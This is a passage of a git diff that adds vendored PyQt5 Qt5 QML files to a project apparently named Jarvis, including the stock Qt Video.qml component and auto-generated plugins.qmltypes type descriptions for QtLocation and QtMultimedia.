"bool"; isReadonly: true } + Property { name: "rotationActive"; type: "bool"; isReadonly: true } + Property { name: "tiltActive"; type: "bool"; isReadonly: true } + Property { name: "acceptedGestures"; type: "AcceptedGestures" } + Property { name: "maximumZoomLevelChange"; type: "double" } + Property { name: "flickDeceleration"; type: "double" } + Property { name: "preventStealing"; revision: 1; type: "bool" } + Signal { + name: "pinchStarted" + Parameter { name: "pinch"; type: "QGeoMapPinchEvent"; isPointer: true } + } + Signal { + name: "pinchUpdated" + Parameter { name: "pinch"; type: "QGeoMapPinchEvent"; isPointer: true } + } + Signal { + name: "pinchFinished" + Parameter { name: "pinch"; type: "QGeoMapPinchEvent"; isPointer: true } + } + Signal { name: "panStarted" } + Signal { name: "panFinished" } + Signal { name: "flickStarted" } + Signal { name: "flickFinished" } + Signal { + name: "rotationStarted" + Parameter { name: "pinch"; type: "QGeoMapPinchEvent"; isPointer: true } + } + Signal { + name: "rotationUpdated" + Parameter { name: "pinch"; type: "QGeoMapPinchEvent"; isPointer: true } + } + Signal { + name: "rotationFinished" + Parameter { name: "pinch"; type: "QGeoMapPinchEvent"; isPointer: true } + } + Signal { + name: "tiltStarted" + Parameter { name: "pinch"; type: "QGeoMapPinchEvent"; isPointer: true } + } + Signal { + name: "tiltUpdated" + Parameter { name: "pinch"; type: "QGeoMapPinchEvent"; isPointer: true } + } + Signal { + name: "tiltFinished" + Parameter { name: "pinch"; type: "QGeoMapPinchEvent"; isPointer: true } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtLocation/qmldir b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtLocation/qmldir new file mode 100644 index 00000000..37ecf66c --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtLocation/qmldir @@ -0,0 +1,4 @@ +module QtLocation +plugin declarative_location +classname QtLocationDeclarativeModule +typeinfo plugins.qmltypes diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtMultimedia/Video.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtMultimedia/Video.qml new file mode 100644 index 00000000..24fde22e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtMultimedia/Video.qml @@ -0,0 +1,545 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.0 +import QtMultimedia 5.13 + +/*! + \qmltype Video + \inherits Item + \ingroup multimedia_qml + \ingroup multimedia_video_qml + \inqmlmodule QtMultimedia + \brief A convenience type for showing a specified video. + + \c Video is a convenience type combining the functionality + of a \l MediaPlayer and a \l VideoOutput into one. It provides + simple video playback functionality without having to declare multiple + types. + + \qml + Video { + id: video + width : 800 + height : 600 + source: "video.avi" + + MouseArea { + anchors.fill: parent + onClicked: { + video.play() + } + } + + focus: true + Keys.onSpacePressed: video.playbackState == MediaPlayer.PlayingState ? video.pause() : video.play() + Keys.onLeftPressed: video.seek(video.position - 5000) + Keys.onRightPressed: video.seek(video.position + 5000) + } + \endqml + + \c Video supports untransformed, stretched, and uniformly scaled + video presentation. For a description of stretched uniformly scaled + presentation, see the \l fillMode property description. + + \sa MediaPlayer, VideoOutput + +\omit + \section1 Screen Saver + + If it is likely that an application will be playing video for an extended + period of time without user interaction, it may be necessary to disable + the platform's screen saver. The \l ScreenSaver (from \l QtSystemInfo) + may be used to disable the screensaver in this fashion: + + \qml + import QtSystemInfo 5.0 + + ScreenSaver { screenSaverEnabled: false } + \endqml +\endomit +*/ + +// TODO: Restore Qt System Info docs when the module is released + +Item { + id: video + + /*** Properties of VideoOutput ***/ + /*! + \qmlproperty enumeration Video::fillMode + + Set this property to define how the video is scaled to fit the target + area. + + \list + \li VideoOutput.Stretch - the video is scaled to fit + \li VideoOutput.PreserveAspectFit - the video is scaled uniformly to fit without + cropping + \li VideoOutput.PreserveAspectCrop - the video is scaled uniformly to fill, cropping + if necessary + \endlist + + Because this type is for convenience in QML, it does not + support enumerations directly, so enumerations from \c VideoOutput are + used to access the available fill modes. + + The default fill mode is preserveAspectFit. + */ + property alias fillMode: videoOut.fillMode + + /*! + \qmlproperty enumeration Video::flushMode + + Set this property to define what \c Video should show + when playback is finished or stopped. + + \list + \li VideoOutput.EmptyFrame - clears video output. + \li VideoOutput.FirstFrame - shows the first valid frame. + \li VideoOutput.LastFrame - shows the last valid frame. + \endlist + + The default flush mode is EmptyFrame. + \since 5.15 + */ + property alias flushMode: videoOut.flushMode + + /*! + \qmlproperty int Video::orientation + + The orientation of the \c Video in degrees. Only multiples of 90 + degrees is supported, that is 0, 90, 180, 270, 360, etc. + */ + property alias orientation: videoOut.orientation + + + /*** Properties of MediaPlayer ***/ + + /*! + \qmlproperty enumeration Video::playbackState + + This read only property indicates the playback state of the media. + + \list + \li MediaPlayer.PlayingState - the media is playing + \li MediaPlayer.PausedState - the media is paused + \li MediaPlayer.StoppedState - the media is stopped + \endlist + + The default state is MediaPlayer.StoppedState. + */ + property alias playbackState: player.playbackState + + /*! + \qmlproperty bool Video::autoLoad + + This property indicates if loading of media should begin immediately. + + Defaults to true, if false media will not be loaded until playback is + started. + */ + property alias autoLoad: player.autoLoad + + /*! + \qmlproperty real Video::bufferProgress + + This property holds how much of the data buffer is currently filled, + from 0.0 (empty) to 1.0 + (full). + */ + property alias bufferProgress: player.bufferProgress + + /*! + \qmlproperty int Video::duration + + This property holds the duration of the media in milliseconds. + + If the media doesn't have a fixed duration (a live stream for example) + this will be 0. + */ + property alias duration: player.duration + + /*! + \qmlproperty enumeration Video::error + + This property holds the error state of the video. It can be one of: + + \list + \li MediaPlayer.NoError - there is no current error. + \li MediaPlayer.ResourceError - the video cannot be played due to a problem + allocating resources. + \li MediaPlayer.FormatError - the video format is not supported. + \li MediaPlayer.NetworkError - the video cannot be played due to network issues. + \li MediaPlayer.AccessDenied - the video cannot be played due to insufficient + permissions. + \li MediaPlayer.ServiceMissing - the video cannot be played because the media + service could not be + instantiated. + \endlist + */ + property alias error: player.error + + /*! + \qmlproperty string Video::errorString + + This property holds a string describing the current error condition in more detail. + */ + property alias errorString: player.errorString + + /*! + \qmlproperty enumeration Video::availability + + Returns the availability state of the video instance. + + This is one of: + \table + \header \li Value \li Description + \row \li MediaPlayer.Available + \li The video player is available to use. + \row \li MediaPlayer.Busy + \li The video player is usually available, but some other + process is utilizing the hardware necessary to play media. + \row \li MediaPlayer.Unavailable + \li There are no supported video playback facilities. + \row \li MediaPlayer.ResourceMissing + \li There is one or more resources missing, so the video player cannot + be used. It may be possible to try again at a later time. + \endtable + */ + property alias availability: player.availability + + /*! + \qmlproperty bool Video::hasAudio + + This property holds whether the current media has audio content. + */ + property alias hasAudio: player.hasAudio + + /*! + \qmlproperty bool Video::hasVideo + + This property holds whether the current media has video content. + */ + property alias hasVideo: player.hasVideo + + /*! + \qmlproperty object Video::metaData + + This property holds the meta data for the current media. + + See \l{MediaPlayer::metaData}{MediaPlayer.metaData} for details about each meta data key. + + \sa {QMediaMetaData} + */ + property alias metaData: player.metaData + + /*! + \qmlproperty bool Video::muted + + This property holds whether the audio output is muted. + */ + property alias muted: player.muted + + /*! + \qmlproperty real Video::playbackRate + + This property holds the rate at which video is played at as a multiple + of the normal rate. + */ + property alias playbackRate: player.playbackRate + + /*! + \qmlproperty int Video::position + + This property holds the current playback position in milliseconds. + + To change this position, use the \l seek() method. + + \sa seek() + */ + property alias position: player.position + + /*! + \qmlproperty enumeration Video::audioRole + + This property holds the role of the audio stream. It can be set to specify the type of audio + being played, allowing the system to make appropriate decisions when it comes to volume, + routing or post-processing. + + The audio role must be set before setting the source property. + + Supported values can be retrieved with supportedAudioRoles(). + + The value can be one of: + \list + \li MediaPlayer.UnknownRole - the role is unknown or undefined. + \li MediaPlayer.MusicRole - music. + \li MediaPlayer.VideoRole - soundtrack from a movie or a video. + \li MediaPlayer.VoiceCommunicationRole - voice communications, such as telephony. + \li MediaPlayer.AlarmRole - alarm. + \li MediaPlayer.NotificationRole - notification, such as an incoming e-mail or a chat request. + \li MediaPlayer.RingtoneRole - ringtone. + \li MediaPlayer.AccessibilityRole - for accessibility, such as with a screen reader. + \li MediaPlayer.SonificationRole - sonification, such as with user interface sounds. + \li MediaPlayer.GameRole - game audio. + \li MediaPlayer.CustomRole - The role is specified by customAudioRole. + \endlist + + customAudioRole is cleared when this property is set to anything other than CustomRole. + + \since 5.6 + */ + property alias audioRole: player.audioRole + + /*! + \qmlproperty string Video::customAudioRole + + This property holds the role of the audio stream when the backend supports audio roles + unknown to Qt. It can be set to specify the type of audio being played, allowing the + system to make appropriate decisions when it comes to volume, routing or post-processing. + + The audio role must be set before setting the source property. + + audioRole is set to CustomRole when this property is set. + + \since 5.11 + */ + property alias customAudioRole: player.customAudioRole + + /*! + \qmlproperty bool Video::seekable + + This property holds whether the playback position of the video can be + changed. + + If true, calling the \l seek() method will cause playback to seek to the new position. + */ + property alias seekable: player.seekable + + /*! + \qmlproperty url Video::source + + This property holds the source URL of the media. + + Setting the \l source property clears the current \l playlist, if any. + */ + property alias source: player.source + + /*! + \qmlproperty Playlist Video::playlist + + This property holds the playlist used by the media player. + + Setting the \l playlist property resets the \l source to an empty string. + + \since 5.6 + */ + property alias playlist: player.playlist + + /*! + \qmlproperty enumeration Video::status + + This property holds the status of media loading. It can be one of: + + \list + \li MediaPlayer.NoMedia - no media has been set. + \li MediaPlayer.Loading - the media is currently being loaded. + \li MediaPlayer.Loaded - the media has been loaded. + \li MediaPlayer.Buffering - the media is buffering data. + \li MediaPlayer.Stalled - playback has been interrupted while the media is buffering data. + \li MediaPlayer.Buffered - the media has buffered data. + \li MediaPlayer.EndOfMedia - the media has played to the end. + \li MediaPlayer.InvalidMedia - the media cannot be played. + \li MediaPlayer.UnknownStatus - the status of the media cannot be determined. + \endlist + */ + property alias status: player.status + + /*! + \qmlproperty real Video::volume + + This property holds the audio volume. + + The volume is scaled linearly from \c 0.0 (silence) to \c 1.0 (full volume). Values outside + this range will be clamped. + + The default volume is \c 1.0. + + UI volume controls should usually be scaled nonlinearly. For example, using a logarithmic + scale will produce linear changes in perceived loudness, which is what a user would normally + expect from a volume control. See \l {QtMultimedia::QtMultimedia::convertVolume()}{QtMultimedia.convertVolume()} + for more details. + */ + property alias volume: player.volume + + /*! + \qmlproperty bool Video::autoPlay + + This property determines whether the media should begin playback automatically. + + Setting to \c true also sets \l autoLoad to \c true. The default is \c false. + */ + property alias autoPlay: player.autoPlay + + /*! + \qmlproperty int Video::notifyInterval + + The interval at which notifiable properties will update. + + The notifiable properties are \l position and \l bufferProgress. + + The interval is expressed in milliseconds, the default value is 1000. + + \since 5.9 + */ + property alias notifyInterval: player.notifyInterval + + /*! + \qmlproperty int Video::loops + + This property holds the number of times the media is played. A value of \c 0 or \c 1 means + the media will be played only once; set to \c MediaPlayer.Infinite to enable infinite looping. + + The value can be changed while the media is playing, in which case it will update + the remaining loops to the new value. + + The default is \c 1. + + \since 5.9 + */ + property alias loops: player.loops + + /*! + \qmlsignal Video::paused() + + This signal is emitted when playback is paused. + + The corresponding handler is \c onPaused. + */ + signal paused + + /*! + \qmlsignal Video::stopped() + + This signal is emitted when playback is stopped. + + The corresponding handler is \c onStopped. + */ + signal stopped + + /*! + \qmlsignal Video::playing() + + This signal is emitted when playback is started or continued. + + The corresponding handler is \c onPlaying. + */ + signal playing + + VideoOutput { + id: videoOut + anchors.fill: video + source: player + } + + MediaPlayer { + id: player + onPaused: video.paused() + onStopped: video.stopped() + onPlaying: video.playing() + } + + /*! + \qmlmethod Video::play() + + Starts playback of the media. + */ + function play() { + player.play(); + } + + /*! + \qmlmethod Video::pause() + + Pauses playback of the media. + */ + function pause() { + player.pause(); + } + + /*! + \qmlmethod Video::stop() + + Stops playback of the media. + */ + function stop() { + player.stop(); + } + + /*! + \qmlmethod Video::seek(offset) + + If the \l seekable property is true, seeks the current + playback position to \a offset. + + Seeking may be asynchronous, so the \l position property + may not be updated immediately. + + \sa seekable, position + */ + function seek(offset) { + player.seek(offset); + } + + /*! + \qmlmethod list Video::supportedAudioRoles() + + Returns a list of supported audio roles. + + If setting the audio role is not supported, an empty list is returned. + + \since 5.6 + \sa audioRole + */ + function supportedAudioRoles() { + return player.supportedAudioRoles(); + } + +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtMultimedia/declarative_multimedia.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtMultimedia/declarative_multimedia.dll new file mode 100644 index 00000000..4dffdc64 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtMultimedia/declarative_multimedia.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtMultimedia/plugins.qmltypes b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtMultimedia/plugins.qmltypes new file mode 100644 index 00000000..06fb8918 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtMultimedia/plugins.qmltypes @@ -0,0 +1,2194 @@ +import QtQuick.tooling 1.2 + +// This file describes the plugin-supplied types contained in the library. +// It is used for QML tooling purposes only. +// +// This file was auto-generated by: +// 'qmlplugindump -nonrelocatable QtMultimedia 5.15' + +Module { + dependencies: ["QtQuick 2.0"] + Component { + name: "QAbstractItemModel" + prototype: "QObject" + Enum { + name: "LayoutChangeHint" + values: { + "NoLayoutChangeHint": 0, + "VerticalSortHint": 1, + "HorizontalSortHint": 2 + } + } + Enum { + name: "CheckIndexOption" + values: { + "NoOption": 0, + "IndexIsValid": 1, + "DoNotUseParent": 2, + "ParentIsInvalid": 4 + } + } + Signal { + name: "dataChanged" + Parameter { name: "topLeft"; type: "QModelIndex" } + Parameter { name: "bottomRight"; type: "QModelIndex" } + Parameter { name: "roles"; type: "QVector" } + } + Signal { + name: "dataChanged" + Parameter { name: "topLeft"; type: "QModelIndex" } + Parameter { name: "bottomRight"; type: "QModelIndex" } + } + Signal { + name: "headerDataChanged" + Parameter { name: "orientation"; type: "Qt::Orientation" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { + name: "layoutChanged" + Parameter { name: "parents"; type: "QList" } + Parameter { name: "hint"; type: "QAbstractItemModel::LayoutChangeHint" } + } + Signal { + name: "layoutChanged" + Parameter { name: "parents"; type: "QList" } + } + Signal { name: "layoutChanged" } + Signal { + name: "layoutAboutToBeChanged" + Parameter { name: "parents"; type: "QList" } + Parameter { name: "hint"; type: "QAbstractItemModel::LayoutChangeHint" } + } + Signal { + name: "layoutAboutToBeChanged" + Parameter { name: "parents"; type: "QList" } + } + Signal { name: "layoutAboutToBeChanged" } + Signal { + name: "rowsAboutToBeInserted" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { + name: "rowsInserted" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { + name: "rowsAboutToBeRemoved" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { + name: "rowsRemoved" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { + name: "columnsAboutToBeInserted" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { + name: "columnsInserted" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { + name: "columnsAboutToBeRemoved" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { + name: "columnsRemoved" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "first"; type: "int" } + Parameter { name: "last"; type: "int" } + } + Signal { name: "modelAboutToBeReset" } + Signal { name: "modelReset" } + Signal { + name: "rowsAboutToBeMoved" + Parameter { name: "sourceParent"; type: "QModelIndex" } + Parameter { name: "sourceStart"; type: "int" } + Parameter { name: "sourceEnd"; type: "int" } + Parameter { name: "destinationParent"; type: "QModelIndex" } + Parameter { name: "destinationRow"; type: "int" } + } + Signal { + name: "rowsMoved" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "start"; type: "int" } + Parameter { name: "end"; type: "int" } + Parameter { name: "destination"; type: "QModelIndex" } + Parameter { name: "row"; type: "int" } + } + Signal { + name: "columnsAboutToBeMoved" + Parameter { name: "sourceParent"; type: "QModelIndex" } + Parameter { name: "sourceStart"; type: "int" } + Parameter { name: "sourceEnd"; type: "int" } + Parameter { name: "destinationParent"; type: "QModelIndex" } + Parameter { name: "destinationColumn"; type: "int" } + } + Signal { + name: "columnsMoved" + Parameter { name: "parent"; type: "QModelIndex" } + Parameter { name: "start"; type: "int" } + Parameter { name: "end"; type: "int" } + Parameter { name: "destination"; type: "QModelIndex" } + Parameter { name: "column"; type: "int" } + } + Method { name: "submit"; type: "bool" } + Method { name: "revert" } + Method { + name: "hasIndex" + type: "bool" + Parameter { name: "row"; type: "int" } + Parameter { name: "column"; type: "int" } + Parameter { name: "parent"; type: "QModelIndex" } + } + Method { + name: "hasIndex" + type: "bool" + Parameter { name: "row"; type: "int" } + Parameter { name: "column"; type: "int" } + } + Method { + name: "index" + type: "QModelIndex" + Parameter { name: "row"; type: "int" } + Parameter { name: "column"; type: "int" } + Parameter { name: "parent"; type: "QModelIndex" } + } + Method { + name: "index" + type: "QModelIndex" + Parameter { name: "row"; type: "int" } + Parameter { name: "column"; type: "int" } + } + Method { + name: "parent" + type: "QModelIndex" + Parameter { name: "child"; type: "QModelIndex" } + } + Method { + name: "sibling" + type: "QModelIndex" + Parameter { name: "row"; type: "int" } + Parameter { name: "column"; type: "int" } + Parameter { name: "idx"; type: "QModelIndex" } + } + Method { + name: "rowCount" + type: "int" + Parameter { name: "parent"; type: "QModelIndex" } + } + Method { name: "rowCount"; type: "int" } + Method { + name: "columnCount" + type: "int" + Parameter { name: "parent"; type: "QModelIndex" } + } + Method { name: "columnCount"; type: "int" } + Method { + name: "hasChildren" + type: "bool" + Parameter { name: "parent"; type: "QModelIndex" } + } + Method { name: "hasChildren"; type: "bool" } + Method { + name: "data" + type: "QVariant" + Parameter { name: "index"; type: "QModelIndex" } + Parameter { name: "role"; type: "int" } + } + Method { + name: "data" + type: "QVariant" + Parameter { name: "index"; type: "QModelIndex" } + } + Method { + name: "setData" + type: "bool" + Parameter { name: "index"; type: "QModelIndex" } + Parameter { name: "value"; type: "QVariant" } + Parameter { name: "role"; type: "int" } + } + Method { + name: "setData" + type: "bool" + Parameter { name: "index"; type: "QModelIndex" } + Parameter { name: "value"; type: "QVariant" } + } + Method { + name: "headerData" + type: "QVariant" + Parameter { name: "section"; type: "int" } + Parameter { name: "orientation"; type: "Qt::Orientation" } + Parameter { name: "role"; type: "int" } + } + Method { + name: "headerData" + type: "QVariant" + Parameter { name: "section"; type: "int" } + Parameter { name: "orientation"; type: "Qt::Orientation" } + } + Method { + name: "fetchMore" + Parameter { name: "parent"; type: "QModelIndex" } + } + Method { + name: "canFetchMore" + type: "bool" + Parameter { name: "parent"; type: "QModelIndex" } + } + Method { + name: "flags" + type: "Qt::ItemFlags" + Parameter { name: "index"; type: "QModelIndex" } + } + Method { + name: "match" + type: "QModelIndexList" + Parameter { name: "start"; type: "QModelIndex" } + Parameter { name: "role"; type: "int" } + Parameter { name: "value"; type: "QVariant" } + Parameter { name: "hits"; type: "int" } + Parameter { name: "flags"; type: "Qt::MatchFlags" } + } + Method { + name: "match" + type: "QModelIndexList" + Parameter { name: "start"; type: "QModelIndex" } + Parameter { name: "role"; type: "int" } + Parameter { name: "value"; type: "QVariant" } + Parameter { name: "hits"; type: "int" } + } + Method { + name: "match" + type: "QModelIndexList" + Parameter { name: "start"; type: "QModelIndex" } + Parameter { name: "role"; type: "int" } + Parameter { name: "value"; type: "QVariant" } + } + } + Component { name: "QAbstractListModel"; prototype: "QAbstractItemModel" } + Component { + name: "QAbstractVideoFilter" + prototype: "QObject" + Property { name: "active"; type: "bool" } + } + Component { + name: "QAbstractVideoSurface" + prototype: "QObject" + Property { name: "nativeResolution"; type: "QSize"; isReadonly: true } + Signal { + name: "activeChanged" + Parameter { name: "active"; type: "bool" } + } + Signal { + name: "surfaceFormatChanged" + Parameter { name: "format"; type: "QVideoSurfaceFormat" } + } + Signal { name: "supportedFormatsChanged" } + Signal { + name: "nativeResolutionChanged" + Parameter { name: "resolution"; type: "QSize" } + } + } + Component { + name: "QCamera" + prototype: "QMediaObject" + Enum { + name: "Status" + values: { + "UnavailableStatus": 0, + "UnloadedStatus": 1, + "LoadingStatus": 2, + "UnloadingStatus": 3, + "LoadedStatus": 4, + "StandbyStatus": 5, + "StartingStatus": 6, + "StoppingStatus": 7, + "ActiveStatus": 8 + } + } + Enum { + name: "State" + values: { + "UnloadedState": 0, + "LoadedState": 1, + "ActiveState": 2 + } + } + Enum { + name: "CaptureMode" + values: { + "CaptureViewfinder": 0, + "CaptureStillImage": 1, + "CaptureVideo": 2 + } + } + Enum { + name: "Error" + values: { + "NoError": 0, + "CameraError": 1, + "InvalidRequestError": 2, + "ServiceMissingError": 3, + "NotSupportedFeatureError": 4 + } + } + Enum { + name: "LockStatus" + values: { + "Unlocked": 0, + "Searching": 1, + "Locked": 2 + } + } + Enum { + name: "LockChangeReason" + values: { + "UserRequest": 0, + "LockAcquired": 1, + "LockFailed": 2, + "LockLost": 3, + "LockTemporaryLost": 4 + } + } + Enum { + name: "LockType" + values: { + "NoLock": 0, + "LockExposure": 1, + "LockWhiteBalance": 2, + "LockFocus": 4 + } + } + Enum { + name: "Position" + values: { + "UnspecifiedPosition": 0, + "BackFace": 1, + "FrontFace": 2 + } + } + Property { name: "state"; type: "QCamera::State"; isReadonly: true } + Property { name: "status"; type: "QCamera::Status"; isReadonly: true } + Property { name: "captureMode"; type: "QCamera::CaptureModes" } + Property { name: "lockStatus"; type: "QCamera::LockStatus"; isReadonly: true } + Signal { + name: "stateChanged" + Parameter { name: "state"; type: "QCamera::State" } + } + Signal { + name: "captureModeChanged" + Parameter { type: "QCamera::CaptureModes" } + } + Signal { + name: "statusChanged" + Parameter { name: "status"; type: "QCamera::Status" } + } + Signal { name: "locked" } + Signal { name: "lockFailed" } + Signal { + name: "lockStatusChanged" + Parameter { name: "status"; type: "QCamera::LockStatus" } + Parameter { name: "reason"; type: "QCamera::LockChangeReason" } + } + Signal { + name: "lockStatusChanged" + Parameter { name: "lock"; type: "QCamera::LockType" } + Parameter { name: "status"; type: "QCamera::LockStatus" } + Parameter { name: "reason"; type: "QCamera::LockChangeReason" } + } + Signal { + name: "error" + Parameter { type: "QCamera::Error" } + } + Method { + name: "setCaptureMode" + Parameter { name: "mode"; type: "QCamera::CaptureModes" } + } + Method { name: "load" } + Method { name: "unload" } + Method { name: "start" } + Method { name: "stop" } + Method { name: "searchAndLock" } + Method { name: "unlock" } + Method { + name: "searchAndLock" + Parameter { name: "locks"; type: "QCamera::LockTypes" } + } + Method { + name: "unlock" + Parameter { name: "locks"; type: "QCamera::LockTypes" } + } + } + Component { + name: "QDeclarativeAudio" + prototype: "QObject" + exports: [ + "QtMultimedia/Audio 5.0", + "QtMultimedia/Audio 5.11", + "QtMultimedia/Audio 5.6", + "QtMultimedia/Audio 5.9", + "QtMultimedia/MediaPlayer 5.0", + "QtMultimedia/MediaPlayer 5.11", + "QtMultimedia/MediaPlayer 5.15", + "QtMultimedia/MediaPlayer 5.6", + "QtMultimedia/MediaPlayer 5.9" + ] + exportMetaObjectRevisions: [0, 3, 1, 2, 0, 3, 15, 1, 2] + Enum { + name: "Status" + values: { + "UnknownStatus": 0, + "NoMedia": 1, + "Loading": 2, + "Loaded": 3, + "Stalled": 4, + "Buffering": 5, + "Buffered": 6, + "EndOfMedia": 7, + "InvalidMedia": 8 + } + } + Enum { + name: "Error" + values: { + "NoError": 0, + "ResourceError": 1, + "FormatError": 2, + "NetworkError": 3, + "AccessDenied": 4, + "ServiceMissing": 5 + } + } + Enum { + name: "Loop" + values: { + "Infinite": -1 + } + } + Enum { + name: "PlaybackState" + values: { + "PlayingState": 1, + "PausedState": 2, + "StoppedState": 0 + } + } + Enum { + name: "Availability" + values: { + "Available": 0, + "Busy": 2, + "Unavailable": 1, + "ResourceMissing": 3 + } + } + Enum { + name: "AudioRole" + values: { + "UnknownRole": 0, + "AccessibilityRole": 7, + "AlarmRole": 4, + "CustomRole": 10, + "GameRole": 9, + "MusicRole": 1, + "NotificationRole": 5, + "RingtoneRole": 6, + "SonificationRole": 8, + "VideoRole": 2, + "VoiceCommunicationRole": 3 + } + } + Property { name: "source"; type: "QUrl" } + Property { name: "playlist"; revision: 1; type: "QDeclarativePlaylist"; isPointer: true } + Property { name: "loops"; type: "int" } + Property { name: "playbackState"; type: "PlaybackState"; isReadonly: true } + Property { name: "autoPlay"; type: "bool" } + Property { name: "autoLoad"; type: "bool" } + Property { name: "status"; type: "Status"; isReadonly: true } + Property { name: "duration"; type: "int"; isReadonly: true } + Property { name: "position"; type: "int"; isReadonly: true } + Property { name: "volume"; type: "double" } + Property { name: "muted"; type: "bool" } + Property { name: "hasAudio"; type: "bool"; isReadonly: true } + Property { name: "hasVideo"; type: "bool"; isReadonly: true } + Property { name: "bufferProgress"; type: "double"; isReadonly: true } + Property { name: "seekable"; type: "bool"; isReadonly: true } + Property { name: "playbackRate"; type: "double" } + Property { name: "error"; type: "Error"; isReadonly: true } + Property { name: "errorString"; type: "string"; isReadonly: true } + Property { + name: "metaData" + type: "QDeclarativeMediaMetaData" + isReadonly: true + isPointer: true + } + Property { name: "mediaObject"; type: "QObject"; isReadonly: true; isPointer: true } + Property { name: "availability"; type: "Availability"; isReadonly: true } + Property { name: "audioRole"; revision: 1; type: "AudioRole" } + Property { name: "customAudioRole"; revision: 3; type: "string" } + Property { name: "notifyInterval"; revision: 2; type: "int" } + Property { name: "videoOutput"; revision: 15; type: "QVariant" } + Signal { name: "playlistChanged"; revision: 1 } + Signal { name: "loopCountChanged" } + Signal { name: "paused" } + Signal { name: "stopped" } + Signal { name: "playing" } + Signal { name: "audioRoleChanged"; revision: 1 } + Signal { name: "customAudioRoleChanged"; revision: 3 } + Signal { + name: "availabilityChanged" + Parameter { name: "availability"; type: "Availability" } + } + Signal { + name: "error" + Parameter { name: "error"; type: "QDeclarativeAudio::Error" } + Parameter { name: "errorString"; type: "string" } + } + Signal { name: "notifyIntervalChanged"; revision: 2 } + Signal { name: "videoOutputChanged"; revision: 15 } + Method { name: "play" } + Method { name: "pause" } + Method { name: "stop" } + Method { + name: "seek" + Parameter { name: "position"; type: "int" } + } + Method { name: "supportedAudioRoles"; revision: 1; type: "QJSValue" } + } + Component { + name: "QDeclarativeCamera" + prototype: "QObject" + exports: [ + "QtMultimedia/Camera 5.0", + "QtMultimedia/Camera 5.4", + "QtMultimedia/Camera 5.5" + ] + exportMetaObjectRevisions: [0, 1, 2] + Enum { + name: "Position" + values: { + "UnspecifiedPosition": 0, + "BackFace": 1, + "FrontFace": 2 + } + } + Enum { + name: "CaptureMode" + values: { + "CaptureViewfinder": 0, + "CaptureStillImage": 1, + "CaptureVideo": 2 + } + } + Enum { + name: "State" + values: { + "ActiveState": 2, + "LoadedState": 1, + "UnloadedState": 0 + } + } + Enum { + name: "Status" + values: { + "UnavailableStatus": 0, + "UnloadedStatus": 1, + "LoadingStatus": 2, + "UnloadingStatus": 3, + "LoadedStatus": 4, + "StandbyStatus": 5, + "StartingStatus": 6, + "StoppingStatus": 7, + "ActiveStatus": 8 + } + } + Enum { + name: "LockStatus" + values: { + "Unlocked": 0, + "Searching": 1, + "Locked": 2 + } + } + Enum { + name: "Error" + values: { + "NoError": 0, + "CameraError": 1, + "InvalidRequestError": 2, + "ServiceMissingError": 3, + "NotSupportedFeatureError": 4 + } + } + Enum { + name: "FlashMode" + values: { + "FlashAuto": 1, + "FlashOff": 2, + "FlashOn": 4, + "FlashRedEyeReduction": 8, + "FlashFill": 16, + "FlashTorch": 32, + "FlashVideoLight": 64, + "FlashSlowSyncFrontCurtain": 128, + "FlashSlowSyncRearCurtain": 256, + "FlashManual": 512 + } + } + Enum { + name: "ExposureMode" + values: { + "ExposureAuto": 0, + "ExposureManual": 1, + "ExposurePortrait": 2, + "ExposureNight": 3, + "ExposureBacklight": 